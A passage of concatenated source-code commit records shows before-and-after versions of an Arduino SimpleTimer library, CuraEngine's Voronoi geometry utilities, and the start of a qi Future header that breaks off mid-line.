(numTimer >= MAX_TIMERS) {\n return;\n }\n\n timer[numTimer].enabled = !timer[numTimer].enabled;\n}\n\n\nunsigned SimpleTimer::getNumTimers() {\n return numTimers;\n}\n<commit_msg>Added if statements for disable\/enable-all (#323)<commit_after>\/*\n * SimpleTimer.cpp\n *\n * SimpleTimer - A timer library for Arduino.\n * Author: mromani@ottotecnica.com\n * Copyright (c) 2010 OTTOTECNICA Italy\n *\n * Callback function parameters added & compiler warnings\n * removed by Bill Knight <billk@rosw.com> 20March2017\n *\n * This library is free software; you can redistribute it\n * and\/or modify it under the terms of the GNU Lesser\n * General Public License as published by the Free Software\n * Foundation; either version 2.1 of the License, or (at\n * your option) any later version.\n *\n * This library is distributed in the hope that it will\n * be useful, but WITHOUT ANY WARRANTY; without even the\n * implied warranty of MERCHANTABILITY or FITNESS FOR A\n * PARTICULAR PURPOSE. See the GNU Lesser General Public\n * License for more details.\n *\n * You should have received a copy of the GNU Lesser\n * General Public License along with this library; if not,\n * write to the Free Software Foundation, Inc.,\n * 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n\n#include \"Blynk\/BlynkTimer.h\"\n\n\n\/\/ Select time function:\n\/\/static inline unsigned long elapsed() { return micros(); }\nstatic inline unsigned long elapsed() { return millis(); }\n\n\nSimpleTimer::SimpleTimer()\n : numTimers (-1)\n{\n}\n\nvoid SimpleTimer::init() {\n unsigned long current_millis = elapsed();\n\n for (int i = 0; i < MAX_TIMERS; i++) {\n memset(&timer[i], 0, sizeof (timer_t));\n timer[i].prev_millis = current_millis;\n }\n\n numTimers = 0;\n}\n\n\nvoid SimpleTimer::run() {\n int i;\n unsigned long current_millis;\n\n \/\/ get current time\n current_millis = elapsed();\n\n for (i = 0; i < MAX_TIMERS; i++) {\n\n timer[i].toBeCalled = DEFCALL_DONTRUN;\n\n \/\/ no callback == no timer, i.e. jump over empty slots\n if (timer[i].callback != NULL) {\n\n \/\/ is it time to process this timer ?\n \/\/ see http:\/\/arduino.cc\/forum\/index.php\/topic,124048.msg932592.html#msg932592\n\n if ((current_millis - timer[i].prev_millis) >= timer[i].delay) {\n\n \/\/ update time\n timer[i].prev_millis += timer[i].delay;\n\n \/\/ check if the timer callback has to be executed\n if (timer[i].enabled) {\n\n \/\/ \"run forever\" timers must always be executed\n if (timer[i].maxNumRuns == RUN_FOREVER) {\n timer[i].toBeCalled = DEFCALL_RUNONLY;\n }\n \/\/ other timers get executed the specified number of times\n else if (timer[i].numRuns < timer[i].maxNumRuns) {\n timer[i].toBeCalled = DEFCALL_RUNONLY;\n timer[i].numRuns++;\n\n \/\/ after the last run, delete the timer\n if (timer[i].numRuns >= timer[i].maxNumRuns) {\n timer[i].toBeCalled = DEFCALL_RUNANDDEL;\n }\n }\n }\n }\n }\n }\n\n for (i = 0; i < MAX_TIMERS; i++) {\n if (timer[i].toBeCalled == DEFCALL_DONTRUN)\n continue;\n\n if (timer[i].hasParam)\n (*(timer_callback_p)timer[i].callback)(timer[i].param);\n else\n (*(timer_callback)timer[i].callback)();\n\n if (timer[i].toBeCalled == DEFCALL_RUNANDDEL)\n deleteTimer(i);\n }\n}\n\n\n\/\/ find the first available slot\n\/\/ return -1 if none found\nint SimpleTimer::findFirstFreeSlot() {\n \/\/ all slots are used\n if (numTimers >= MAX_TIMERS) {\n return -1;\n }\n\n \/\/ return the first slot with no callback (i.e. free)\n for (int i = 0; i < MAX_TIMERS; i++) {\n if (timer[i].callback == NULL) {\n return i;\n }\n }\n\n \/\/ no free slots found\n return -1;\n}\n\n\nint SimpleTimer::setupTimer(unsigned long d, void* f, void* p, bool h, unsigned n) {\n int freeTimer;\n\n if (numTimers < 0) {\n init();\n }\n\n freeTimer = findFirstFreeSlot();\n if (freeTimer < 0) {\n return -1;\n }\n\n if (f == NULL) {\n return -1;\n }\n\n timer[freeTimer].delay = d;\n timer[freeTimer].callback = f;\n timer[freeTimer].param = p;\n timer[freeTimer].hasParam = h;\n timer[freeTimer].maxNumRuns = n;\n timer[freeTimer].enabled = true;\n timer[freeTimer].prev_millis = elapsed();\n\n numTimers++;\n\n return freeTimer;\n}\n\n\nint SimpleTimer::setTimer(unsigned long d, timer_callback f, unsigned n) {\n return setupTimer(d, (void *)f, NULL, false, n);\n}\n\nint SimpleTimer::setTimer(unsigned long d, timer_callback_p f, void* p, unsigned n) {\n return setupTimer(d, (void *)f, p, true, n);\n}\n\nint SimpleTimer::setInterval(unsigned long d, timer_callback f) {\n return setupTimer(d, (void *)f, NULL, false, RUN_FOREVER);\n}\n\nint SimpleTimer::setInterval(unsigned long d, timer_callback_p f, void* p) {\n return setupTimer(d, (void *)f, p, true, RUN_FOREVER);\n}\n\nint SimpleTimer::setTimeout(unsigned long d, timer_callback f) {\n return setupTimer(d, (void *)f, NULL, false, RUN_ONCE);\n}\n\nint SimpleTimer::setTimeout(unsigned long d, timer_callback_p f, void* p) {\n return setupTimer(d, (void *)f, p, true, RUN_ONCE);\n}\n\nbool SimpleTimer::changeInterval(unsigned numTimer, unsigned long d) {\n if (numTimer >= MAX_TIMERS) {\n return false;\n }\n\n \/\/ Updates interval of existing specified timer\n if (timer[numTimer].callback != NULL) {\n timer[numTimer].delay = d;\n timer[numTimer].prev_millis = elapsed();\n return true;\n }\n \/\/ false return for non-used numTimer, no callback\n return false;\n}\n\nvoid SimpleTimer::deleteTimer(unsigned timerId) {\n if (timerId >= MAX_TIMERS) {\n return;\n }\n\n \/\/ nothing to delete if no timers are in use\n if (numTimers == 0) {\n return;\n }\n\n \/\/ don't decrease the number of timers if the\n \/\/ specified slot is already empty\n if (timer[timerId].callback != NULL) {\n memset(&timer[timerId], 0, sizeof (timer_t));\n timer[timerId].prev_millis = elapsed();\n\n \/\/ update number of timers\n numTimers--;\n }\n}\n\n\n\/\/ function contributed by code@rowansimms.com\nvoid SimpleTimer::restartTimer(unsigned numTimer) {\n if (numTimer >= MAX_TIMERS) {\n return;\n }\n\n timer[numTimer].prev_millis = elapsed();\n}\n\n\nbool SimpleTimer::isEnabled(unsigned numTimer) {\n if (numTimer >= MAX_TIMERS) {\n return false;\n }\n\n return timer[numTimer].enabled;\n}\n\n\nvoid SimpleTimer::enable(unsigned numTimer) {\n if (numTimer >= MAX_TIMERS) {\n return;\n }\n\n timer[numTimer].enabled = true;\n}\n\n\nvoid SimpleTimer::disable(unsigned numTimer) {\n if (numTimer >= MAX_TIMERS) {\n return;\n }\n\n timer[numTimer].enabled = false;\n}\n\nvoid SimpleTimer::enableAll() {\n \/\/ Enable all timers with a callback assigned (used)\n for (int i = 0; i < MAX_TIMERS; i++) {\n if (timer[i].callback != NULL && numRuns[i] == RUN_FOREVER) {\n timer[i].enabled = true;\n }\n }\n}\n\nvoid SimpleTimer::disableAll() {\n \/\/ Disable all timers with a callback assigned (used)\n for (int i = 0; i < MAX_TIMERS; i++) {\n if (timer[i].callback != NULL && numRuns[i] == RUN_FOREVER) {\n timer[i].enabled = false;\n }\n }\n}\n\nvoid SimpleTimer::toggle(unsigned numTimer) {\n if (numTimer >= MAX_TIMERS) {\n return;\n }\n\n timer[numTimer].enabled = !timer[numTimer].enabled;\n}\n\n\nunsigned SimpleTimer::getNumTimers() {\n return numTimers;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/Copyright (c) 2020 Ultimaker B.V.\n\/\/CuraEngine is released under the terms of the AGPLv3 or higher.\n\n#include <optional>\n#include <stack>\n\n\n#include \"VoronoiUtils.h\"\n\n#include \"linearAlg2D.h\"\n#include \"SVG.h\"\n\nnamespace arachne \n{\n\nPoint VoronoiUtils::p(const vd_t::vertex_type* node)\n{\n return Point(node->x() + 0, node->y() + 0); \/\/ gets rid of negative zero\n}\n\nbool VoronoiUtils::isSourcePoint(Point p, const vd_t::cell_type& cell, const std::vector<Point>& points, const std::vector<Segment>& segments, coord_t snap_dist)\n{\n if (cell.contains_point())\n {\n return shorterThen(p - getSourcePoint(cell, points, segments), snap_dist);\n }\n else\n {\n const Segment& segment = getSourceSegment(cell, points, segments);\n return shorterThen(p - segment.from(), snap_dist) || shorterThen(p - segment.to(), snap_dist);\n }\n}\n\ncoord_t VoronoiUtils::getDistance(Point p, const vd_t::cell_type& cell, const std::vector<Point>& points, const std::vector<Segment>& segments)\n{\n if (cell.contains_point())\n {\n return vSize(p - getSourcePoint(cell, points, segments));\n }\n else\n {\n const Segment& segment = getSourceSegment(cell, points, segments);\n return sqrt(LinearAlg2D::getDist2FromLineSegment(segment.from(), p, segment.to()));\n }\n}\n\nPoint VoronoiUtils::getSourcePoint(const vd_t::cell_type& cell, const std::vector<Point>& points, const std::vector<Segment>& segments)\n{\n assert(cell.contains_point());\n switch (cell.source_category())\n {\n case boost::polygon::SOURCE_CATEGORY_SINGLE_POINT:\n return points[cell.source_index()];\n break;\n case boost::polygon::SOURCE_CATEGORY_SEGMENT_START_POINT:\n assert(cell.source_index() - points.size() < segments.size());\n return segments[cell.source_index() - points.size()].to();\n break;\n case boost::polygon::SOURCE_CATEGORY_SEGMENT_END_POINT:\n assert(cell.source_index() - points.size() < segments.size());\n return segments[cell.source_index() - points.size()].from();\n break;\n default:\n assert(false && \"getSourcePoint should only be called on point cells!\\n\");\n break;\n }\n return points[cell.source_index()];\n}\n\nPolygonsPointIndex VoronoiUtils::getSourcePointIndex(const vd_t::cell_type& cell, const std::vector<Point>& points, const std::vector<Segment>& segments)\n{\n assert(cell.contains_point());\n assert(cell.source_category() != boost::polygon::SOURCE_CATEGORY_SINGLE_POINT);\n switch (cell.source_category())\n {\n case boost::polygon::SOURCE_CATEGORY_SEGMENT_START_POINT:\n {\n assert(cell.source_index() - points.size() < segments.size());\n PolygonsPointIndex ret = segments[cell.source_index() - points.size()];\n ++ret;\n return ret;\n break;\n }\n case boost::polygon::SOURCE_CATEGORY_SEGMENT_END_POINT:\n {\n assert(cell.source_index() - points.size() < segments.size());\n return segments[cell.source_index() - points.size()];\n break;\n }\n default:\n assert(false && \"getSourcePoint should only be called on point cells!\\n\");\n break;\n }\n PolygonsPointIndex ret = segments[cell.source_index() - points.size()];\n return ++ret;\n}\n\nconst VoronoiUtils::Segment& VoronoiUtils::getSourceSegment(const vd_t::cell_type& cell, const std::vector<Point>& points, const std::vector<Segment>& segments)\n{\n assert(cell.contains_segment());\n return segments[cell.source_index() - points.size()];\n}\n\n\nstd::vector<Point> VoronoiUtils::discretizeParabola(const Point& p, const Segment& segment, Point s, Point e, coord_t approximate_step_size, float transitioning_angle)\n{\n std::vector<Point> discretized;\n \/\/ x is distance of point projected on the segment ab\n \/\/ xx is point projected on the segment ab\n const Point a = segment.from();\n const Point b = segment.to();\n const Point ab = b - a;\n const Point as = s - a;\n const Point ae = e - a;\n const coord_t ab_size = vSize(ab);\n const coord_t sx = dot(as, ab) \/ ab_size;\n const coord_t ex = dot(ae, ab) \/ ab_size;\n const coord_t sxex = ex - sx;\n \n const Point ap = p - a;\n const coord_t px = dot(ap, ab) \/ ab_size;\n \n const Point pxx = LinearAlg2D::getClosestOnLine(p, a, b);\n const Point ppxx = pxx - p;\n const coord_t d = vSize(ppxx);\n const PointMatrix rot = PointMatrix(turn90CCW(ppxx));\n \n if (d == 0)\n {\n discretized.emplace_back(s);\n discretized.emplace_back(e);\n return discretized;\n }\n \n const float marking_bound = atan(transitioning_angle * 0.5);\n coord_t msx = - marking_bound * d; \/\/ projected marking_start\n coord_t mex = marking_bound * d; \/\/ projected marking_end\n const coord_t marking_start_end_h = msx * msx \/ (2 * d) + d \/ 2;\n Point marking_start = rot.unapply(Point(msx, marking_start_end_h)) + pxx;\n Point marking_end = rot.unapply(Point(mex, marking_start_end_h)) + pxx;\n const int dir = (sx > ex) ? -1 : 1;\n if (dir < 0)\n {\n std::swap(marking_start, marking_end);\n std::swap(msx, mex);\n }\n \n bool add_marking_start = msx * dir > (sx - px) * dir && msx * dir < (ex - px) * dir;\n bool add_marking_end = mex * dir > (sx - px) * dir && mex * dir < (ex - px) * dir;\n\n const Point apex = rot.unapply(Point(0, d \/ 2)) + pxx;\n bool add_apex = (sx - px) * dir < 0 && (ex - px) * dir > 0;\n\n assert(!(add_marking_start && add_marking_end) || add_apex);\n \n const coord_t step_count = static_cast<coord_t>(static_cast<float>(std::abs(ex - sx)) \/ approximate_step_size + 0.5);\n \n discretized.emplace_back(s);\n for (coord_t step = 1; step < step_count; step++)\n {\n const coord_t x = sx + sxex * step \/ step_count - px;\n const coord_t y = x * x \/ (2 * d) + d \/ 2;\n \n if (add_marking_start && msx * dir < x * dir)\n {\n discretized.emplace_back(marking_start);\n add_marking_start = false;\n }\n if (add_apex && x * dir > 0)\n {\n discretized.emplace_back(apex);\n add_apex = false; \/\/ only add the apex just before the \n }\n if (add_marking_end && mex * dir < x * dir)\n {\n discretized.emplace_back(marking_end);\n add_marking_end = false;\n }\n const Point result = rot.unapply(Point(x, y)) + pxx;\n discretized.emplace_back(result);\n }\n if (add_apex)\n {\n discretized.emplace_back(apex);\n }\n if (add_marking_end)\n {\n discretized.emplace_back(marking_end);\n }\n discretized.emplace_back(e);\n return discretized;\n}\n\n\/\/ adapted from boost::polygon::voronoi_visual_utils.cpp\nvoid VoronoiUtils::discretize(\n const Point& point,\n const Segment& segment,\n const coord_t max_dist,\n std::vector<Point>* discretization) {\n \/\/ Apply the linear transformation to move start point of the segment to\n \/\/ the point with coordinates (0, 0) and the direction of the segment to\n \/\/ coincide the positive direction of the x-axis.\n Point segm_vec = segment.to() - segment.from();\n coord_t sqr_segment_length = vSize2(segm_vec);\n\n \/\/ Compute x-coordinates of the endpoints of the edge\n \/\/ in the transformed space.\n coord_t projection_start = sqr_segment_length *\n get_point_projection((*discretization)[0], segment);\n coord_t projection_end = sqr_segment_length *\n get_point_projection((*discretization)[1], segment);\n\n \/\/ Compute parabola parameters in the transformed space.\n \/\/ Parabola has next representation:\n \/\/ f(x) = ((x-rot_x)^2 + rot_y^2) \/ (2.0*rot_y).\n Point point_vec = point - segment.from();\n coord_t rot_x = dot(segm_vec, point_vec);\n coord_t rot_y = cross(segm_vec, point_vec);\n\n \/\/ Save the last point.\n Point last_point = (*discretization)[1];\n discretization->pop_back();\n\n \/\/ Use stack to avoid recursion.\n std::stack<coord_t> point_stack;\n point_stack.push(projection_end);\n Point cur(projection_start, parabola_y(projection_start, rot_x, rot_y));\n\n \/\/ Adjust max_dist parameter in the transformed space.\n const coord_t max_dist_transformed = max_dist * max_dist * sqr_segment_length;\n while (!point_stack.empty()) {\n Point new_(point_stack.top(), parabola_y(point_stack.top(), rot_x, rot_y));\n Point new_vec = new_ - cur;\n\n \/\/ Compute coordinates of the point of the parabola that is\n \/\/ furthest from the current line segment.\n coord_t mid_x = new_vec.Y * rot_y \/ new_vec.X + rot_x;\n coord_t mid_y = parabola_y(mid_x, rot_x, rot_y);\n Point mid_vec = Point(mid_x, mid_y) - cur;\n\n \/\/ Compute maximum distance between the given parabolic arc\n \/\/ and line segment that discretize it.\n __int128 dist = cross(mid_vec, new_vec);\n dist = dist * dist \/ vSize2(new_vec); \/\/ TODO overflows!!!\n if (dist <= max_dist_transformed) {\n \/\/ Distance between parabola and line segment is less than max_dist.\n point_stack.pop();\n coord_t inter_x = (segm_vec.X * new_.X - segm_vec.Y * new_.Y) \/\n sqr_segment_length + segment.from().X;\n coord_t inter_y = (segm_vec.X * new_.Y + segm_vec.Y * new_.X) \/\n sqr_segment_length + segment.from().Y;\n discretization->push_back(Point(inter_x, inter_y));\n cur = new_;\n } else {\n point_stack.push(mid_x);\n }\n }\n\n \/\/ Update last point.\n discretization->back() = last_point;\n}\n\n\/\/ adapted from boost::polygon::voronoi_visual_utils.cpp\ncoord_t VoronoiUtils::parabola_y(coord_t x, coord_t a, coord_t b) {\n return ((x - a) * (x - a) + b * b) \/ (b + b);\n}\n\n\/\/ adapted from boost::polygon::voronoi_visual_utils.cpp\ndouble VoronoiUtils::get_point_projection(\n const Point& point, const Segment& segment) {\n Point segment_vec = segment.to() - segment.from();\n Point point_vec = point - segment.from();\n coord_t sqr_segment_length = vSize2(segment_vec);\n coord_t vec_dot = dot(segment_vec, point_vec);\n return static_cast<double>(vec_dot) \/ sqr_segment_length;\n}\n\n}\/\/namespace arachne\n<commit_msg>Brackets on new line<commit_after>\/\/Copyright (c) 2020 Ultimaker B.V.\n\/\/CuraEngine is released under the terms of the AGPLv3 or higher.\n\n#include <optional>\n#include <stack>\n\n\n#include \"VoronoiUtils.h\"\n\n#include \"linearAlg2D.h\"\n#include \"SVG.h\"\n\nnamespace arachne \n{\n\nPoint VoronoiUtils::p(const vd_t::vertex_type* node)\n{\n return Point(node->x() + 0, node->y() + 0); \/\/ gets rid of negative zero\n}\n\nbool VoronoiUtils::isSourcePoint(Point p, const vd_t::cell_type& cell, const std::vector<Point>& points, const std::vector<Segment>& segments, coord_t snap_dist)\n{\n if (cell.contains_point())\n {\n return shorterThen(p - getSourcePoint(cell, points, segments), snap_dist);\n }\n else\n {\n const Segment& segment = getSourceSegment(cell, points, segments);\n return shorterThen(p - segment.from(), snap_dist) || shorterThen(p - segment.to(), snap_dist);\n }\n}\n\ncoord_t VoronoiUtils::getDistance(Point p, const vd_t::cell_type& cell, const std::vector<Point>& points, const std::vector<Segment>& segments)\n{\n if (cell.contains_point())\n {\n return vSize(p - getSourcePoint(cell, points, segments));\n }\n else\n {\n const Segment& segment = getSourceSegment(cell, points, segments);\n return sqrt(LinearAlg2D::getDist2FromLineSegment(segment.from(), p, segment.to()));\n }\n}\n\nPoint VoronoiUtils::getSourcePoint(const vd_t::cell_type& cell, const std::vector<Point>& points, const std::vector<Segment>& segments)\n{\n assert(cell.contains_point());\n switch (cell.source_category())\n {\n case boost::polygon::SOURCE_CATEGORY_SINGLE_POINT:\n return points[cell.source_index()];\n break;\n case boost::polygon::SOURCE_CATEGORY_SEGMENT_START_POINT:\n assert(cell.source_index() - points.size() < segments.size());\n return segments[cell.source_index() - points.size()].to();\n break;\n case boost::polygon::SOURCE_CATEGORY_SEGMENT_END_POINT:\n assert(cell.source_index() - points.size() < segments.size());\n return segments[cell.source_index() - points.size()].from();\n break;\n default:\n assert(false && \"getSourcePoint should only be called on point cells!\\n\");\n break;\n }\n return points[cell.source_index()];\n}\n\nPolygonsPointIndex VoronoiUtils::getSourcePointIndex(const vd_t::cell_type& cell, const std::vector<Point>& points, const std::vector<Segment>& segments)\n{\n assert(cell.contains_point());\n assert(cell.source_category() != boost::polygon::SOURCE_CATEGORY_SINGLE_POINT);\n switch (cell.source_category())\n {\n case boost::polygon::SOURCE_CATEGORY_SEGMENT_START_POINT:\n {\n assert(cell.source_index() - points.size() < segments.size());\n PolygonsPointIndex ret = segments[cell.source_index() - points.size()];\n ++ret;\n return ret;\n break;\n }\n case boost::polygon::SOURCE_CATEGORY_SEGMENT_END_POINT:\n {\n assert(cell.source_index() - points.size() < segments.size());\n return segments[cell.source_index() - points.size()];\n break;\n }\n default:\n assert(false && \"getSourcePoint should only be called on point cells!\\n\");\n break;\n }\n PolygonsPointIndex ret = segments[cell.source_index() - points.size()];\n return ++ret;\n}\n\nconst VoronoiUtils::Segment& VoronoiUtils::getSourceSegment(const vd_t::cell_type& cell, const std::vector<Point>& points, const std::vector<Segment>& segments)\n{\n assert(cell.contains_segment());\n return segments[cell.source_index() - points.size()];\n}\n\n\nstd::vector<Point> VoronoiUtils::discretizeParabola(const Point& p, const Segment& segment, Point s, Point e, coord_t approximate_step_size, float transitioning_angle)\n{\n std::vector<Point> discretized;\n \/\/ x is distance of point projected on the segment ab\n \/\/ xx is point projected on the segment ab\n const Point a = segment.from();\n const Point b = segment.to();\n const Point ab = b - a;\n const Point as = s - a;\n const Point ae = e - a;\n const coord_t ab_size = vSize(ab);\n const coord_t sx = dot(as, ab) \/ ab_size;\n const coord_t ex = dot(ae, ab) \/ ab_size;\n const coord_t sxex = ex - sx;\n \n const Point ap = p - a;\n const coord_t px = dot(ap, ab) \/ ab_size;\n \n const Point pxx = LinearAlg2D::getClosestOnLine(p, a, b);\n const Point ppxx = pxx - p;\n const coord_t d = vSize(ppxx);\n const PointMatrix rot = PointMatrix(turn90CCW(ppxx));\n \n if (d == 0)\n {\n discretized.emplace_back(s);\n discretized.emplace_back(e);\n return discretized;\n }\n \n const float marking_bound = atan(transitioning_angle * 0.5);\n coord_t msx = - marking_bound * d; \/\/ projected marking_start\n coord_t mex = marking_bound * d; \/\/ projected marking_end\n const coord_t marking_start_end_h = msx * msx \/ (2 * d) + d \/ 2;\n Point marking_start = rot.unapply(Point(msx, marking_start_end_h)) + pxx;\n Point marking_end = rot.unapply(Point(mex, marking_start_end_h)) + pxx;\n const int dir = (sx > ex) ? -1 : 1;\n if (dir < 0)\n {\n std::swap(marking_start, marking_end);\n std::swap(msx, mex);\n }\n \n bool add_marking_start = msx * dir > (sx - px) * dir && msx * dir < (ex - px) * dir;\n bool add_marking_end = mex * dir > (sx - px) * dir && mex * dir < (ex - px) * dir;\n\n const Point apex = rot.unapply(Point(0, d \/ 2)) + pxx;\n bool add_apex = (sx - px) * dir < 0 && (ex - px) * dir > 0;\n\n assert(!(add_marking_start && add_marking_end) || add_apex);\n \n const coord_t step_count = static_cast<coord_t>(static_cast<float>(std::abs(ex - sx)) \/ approximate_step_size + 0.5);\n \n discretized.emplace_back(s);\n for (coord_t step = 1; step < step_count; step++)\n {\n const coord_t x = sx + sxex * step \/ step_count - px;\n const coord_t y = x * x \/ (2 * d) + d \/ 2;\n \n if (add_marking_start && msx * dir < x * dir)\n {\n discretized.emplace_back(marking_start);\n add_marking_start = false;\n }\n if (add_apex && x * dir > 0)\n {\n discretized.emplace_back(apex);\n add_apex = false; \/\/ only add the apex just before the \n }\n if (add_marking_end && mex * dir < x * dir)\n {\n discretized.emplace_back(marking_end);\n add_marking_end = false;\n }\n const Point result = rot.unapply(Point(x, y)) + pxx;\n discretized.emplace_back(result);\n }\n if (add_apex)\n {\n discretized.emplace_back(apex);\n }\n if (add_marking_end)\n {\n discretized.emplace_back(marking_end);\n }\n discretized.emplace_back(e);\n return discretized;\n}\n\n\/\/ adapted from boost::polygon::voronoi_visual_utils.cpp\nvoid VoronoiUtils::discretize(\n const Point& point,\n const Segment& segment,\n const coord_t max_dist,\n std::vector<Point>* discretization) {\n \/\/ Apply the linear transformation to move start point of the segment to\n \/\/ the point with coordinates (0, 0) and the direction of the segment to\n \/\/ coincide the positive direction of the x-axis.\n Point segm_vec = segment.to() - segment.from();\n coord_t sqr_segment_length = vSize2(segm_vec);\n\n \/\/ Compute x-coordinates of the endpoints of the edge\n \/\/ in the transformed space.\n coord_t projection_start = sqr_segment_length *\n get_point_projection((*discretization)[0], segment);\n coord_t projection_end = sqr_segment_length *\n get_point_projection((*discretization)[1], segment);\n\n \/\/ Compute parabola parameters in the transformed space.\n \/\/ Parabola has next representation:\n \/\/ f(x) = ((x-rot_x)^2 + rot_y^2) \/ (2.0*rot_y).\n Point point_vec = point - segment.from();\n coord_t rot_x = dot(segm_vec, point_vec);\n coord_t rot_y = cross(segm_vec, point_vec);\n\n \/\/ Save the last point.\n Point last_point = (*discretization)[1];\n discretization->pop_back();\n\n \/\/ Use stack to avoid recursion.\n std::stack<coord_t> point_stack;\n point_stack.push(projection_end);\n Point cur(projection_start, parabola_y(projection_start, rot_x, rot_y));\n\n \/\/ Adjust max_dist parameter in the transformed space.\n const coord_t max_dist_transformed = max_dist * max_dist * sqr_segment_length;\n while (!point_stack.empty()) \n {\n Point new_(point_stack.top(), parabola_y(point_stack.top(), rot_x, rot_y));\n Point new_vec = new_ - cur;\n\n \/\/ Compute coordinates of the point of the parabola that is\n \/\/ furthest from the current line segment.\n coord_t mid_x = new_vec.Y * rot_y \/ new_vec.X + rot_x;\n coord_t mid_y = parabola_y(mid_x, rot_x, rot_y);\n Point mid_vec = Point(mid_x, mid_y) - cur;\n\n \/\/ Compute maximum distance between the given parabolic arc\n \/\/ and line segment that discretize it.\n __int128 dist = cross(mid_vec, new_vec);\n dist = dist * dist \/ vSize2(new_vec); \/\/ TODO overflows!!!\n if (dist <= max_dist_transformed) {\n \/\/ Distance between parabola and line segment is less than max_dist.\n point_stack.pop();\n coord_t inter_x = (segm_vec.X * new_.X - segm_vec.Y * new_.Y) \/\n sqr_segment_length + segment.from().X;\n coord_t inter_y = (segm_vec.X * new_.Y + segm_vec.Y * new_.X) \/\n sqr_segment_length + segment.from().Y;\n discretization->push_back(Point(inter_x, inter_y));\n cur = new_;\n } else {\n point_stack.push(mid_x);\n }\n }\n\n \/\/ Update last point.\n discretization->back() = last_point;\n}\n\n\/\/ adapted from boost::polygon::voronoi_visual_utils.cpp\ncoord_t VoronoiUtils::parabola_y(coord_t x, coord_t a, coord_t b) \n{\n return ((x - a) * (x - a) + b * b) \/ (b + b);\n}\n\n\/\/ adapted from boost::polygon::voronoi_visual_utils.cpp\ndouble VoronoiUtils::get_point_projection(\n const Point& point, const Segment& segment) {\n Point segment_vec = segment.to() - segment.from();\n Point point_vec = point - segment.from();\n coord_t sqr_segment_length = vSize2(segment_vec);\n coord_t vec_dot = dot(segment_vec, point_vec);\n return static_cast<double>(vec_dot) \/ sqr_segment_length;\n}\n\n}\/\/namespace arachne\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\/*\n** Copyright (C) 2012 Aldebaran Robotics\n** See COPYING for the license\n*\/\n\n#ifndef _QITYPE_FUTURE_HPP_\n#define _QITYPE_FUTURE_HPP_\n\n#include <vector>\n#include <qi\/config.hpp>\n#include <boost\/shared_ptr.hpp>\n#include <boost\/signals2.hpp>\n#include <qi\/eventloop.hpp>\n\n#ifdef _MSC_VER\n# pragma warning( push )\n# pragma warning( disable: 4251 )\n#endif\n\nnamespace qi {\n\n template<typename T> struct FutureType\n {\n typedef T type;\n };\n\n \/\/ Hold a void* for Future<void>\n template<> struct FutureType<void>\n {\n typedef void* type;\n };\n\n template <typename T> class FutureInterface;\n template <typename T> class Future;\n template <typename T> class FutureSync;\n template <typename T> class Promise;\n\n namespace detail {\n template <typename T> class FutureState;\n }\n\n template <typename T>\n class Future {\n public:\n typedef typename FutureType<T>::type ValueType;\n Future()\n : _p(new detail::FutureState<T>())\n {\n }\n\n Future(const FutureSync<T>& b)\n {\n *this = b;\n }\n\n inline Future<T>& operator = (const FutureSync<T>& b)\n {\n b._sync = false;\n _p = b._p;\n return *this;\n }\n\n explicit Future<T>(const ValueType& v)\n {\n Promise<T> promise;\n promise.setValue(v);\n *this = promise.future();\n }\n\n inline const ValueType &value() const { return _p->value(); }\n\n \/** Wait for future, and return a default value in case of error.\n * @param defaultVal the value to return in case of Future error\n * @return the future value, or \\p defaultVal if hasError() is true.\n *\/\n inline const ValueType &valueWithDefault(const ValueType& defaultVal = ValueType()) const;\n\n inline operator const ValueType&() const { return _p->value(); }\n\n \/** Wait for future to contain a value or an error\n @param msecs: Maximum time to wait in milliseconds, 0 means forever and -1 means return immediately.\n @return true if future contains a value or an error, false if timeout was reached\n *\/\n inline bool wait(int msecs = 30000) const { return _p->wait(msecs); }\n inline bool isReady() const { return _p->isReady(); }\n inline bool hasError(int msecs=30000) const { return _p->hasError(msecs); }\n\n inline const std::string &error() const { return _p->error(); }\n\n\n inline FutureSync<T> sync()\n {\n return FutureSync<T>(*this);\n };\n\n public: \/\/Signals\n typedef boost::signals2::connection Connection;\n typedef typename boost::signals2::signal<void (Future<T>)>::slot_type Slot;\n inline Connection connect(const Slot& s) { return _p->connect(*this, s);}\n inline bool disconnect(Connection i) { return _p->disconnect(i); }\n \/\/qi::Signal<void (qi::Future<T>)> &onResult() { return _p->_onResult; }\n\n protected:\n \/\/ C4251 needs to have dll-interface to be used by clients of class 'qi::Future<T>'\n boost::shared_ptr< detail::FutureState<T> > _p;\n friend class Promise<T>;\n friend class FutureSync<T>;\n };\n\n template<typename T> class FutureSync: public Future<T>\n {\n public:\n \/\/ This future cannot be set, so sync starts at false\n FutureSync() : _sync(false) {}\n\n FutureSync(const Future<T>& b)\n : _sync(true)\n {\n *this = b;\n this->_p = b._p;\n }\n\n FutureSync(const FutureSync<T>& b)\n : _sync(true)\n {\n *this = b;\n this->_p = b._p;\n b._sync = false;\n }\n\n explicit FutureSync<T>(const typename Future<T>::ValueType& v)\n : _sync(false)\n {\n Promise<T> promise;\n promise.setValue(v);\n *this = promise.future();\n }\n\n inline FutureSync<T>& operator = (const FutureSync<T>& b)\n {\n this->_p = b._p;\n _sync = true;\n b._sync = false;\n return *this;\n }\n\n inline FutureSync<T>& operator = (const Future<T>& b)\n {\n this->_p = b._p;\n _sync = true;\n return *this;\n }\n\n ~FutureSync()\n {\n if (_sync)\n this->wait();\n }\n\n Future<T> async()\n {\n return *this;\n }\n\n private:\n mutable bool _sync;\n friend class Future<T>;\n };\n\n\n template <typename T>\n class Promise {\n public:\n typedef typename FutureType<T>::type ValueType;\n\n Promise() { }\n\n void setValue(const ValueType &value) {\n _f._p->setValue(_f, value);\n }\n\n void setError(const std::string &msg) {\n _f._p->setError(_f, msg);\n }\n\n void reset() {\n _f._p->reset();\n }\n\n Future<T> future() { return _f; }\n\n protected:\n Future<T> _f;\n };\n\n template <typename T>\n qi::Future<T> makeFutureError(const std::string &value);\n}\n\n#ifdef _MSC_VER\n# pragma warning( pop )\n#endif\n\n#include <qi\/details\/future.hxx>\n\n#endif \/\/ _QITYPE_FUTURE_HPP_\n<commit_msg>Future, FutureSync: Optimize constructors.<commit_after>#pragma once\n\/*\n** Copyright (C) 2012 Aldebaran Robotics\n** See COPYING for the license\n*\/\n\n#ifndef _QITYPE_FUTURE_HPP_\n#define _QITYPE_FUTURE_HPP_\n\n#include <vector>\n#include <qi\/config.hpp>\n#include <boost\/shared_ptr.hpp>\n#include <boost\/signals2.hpp>\n#include 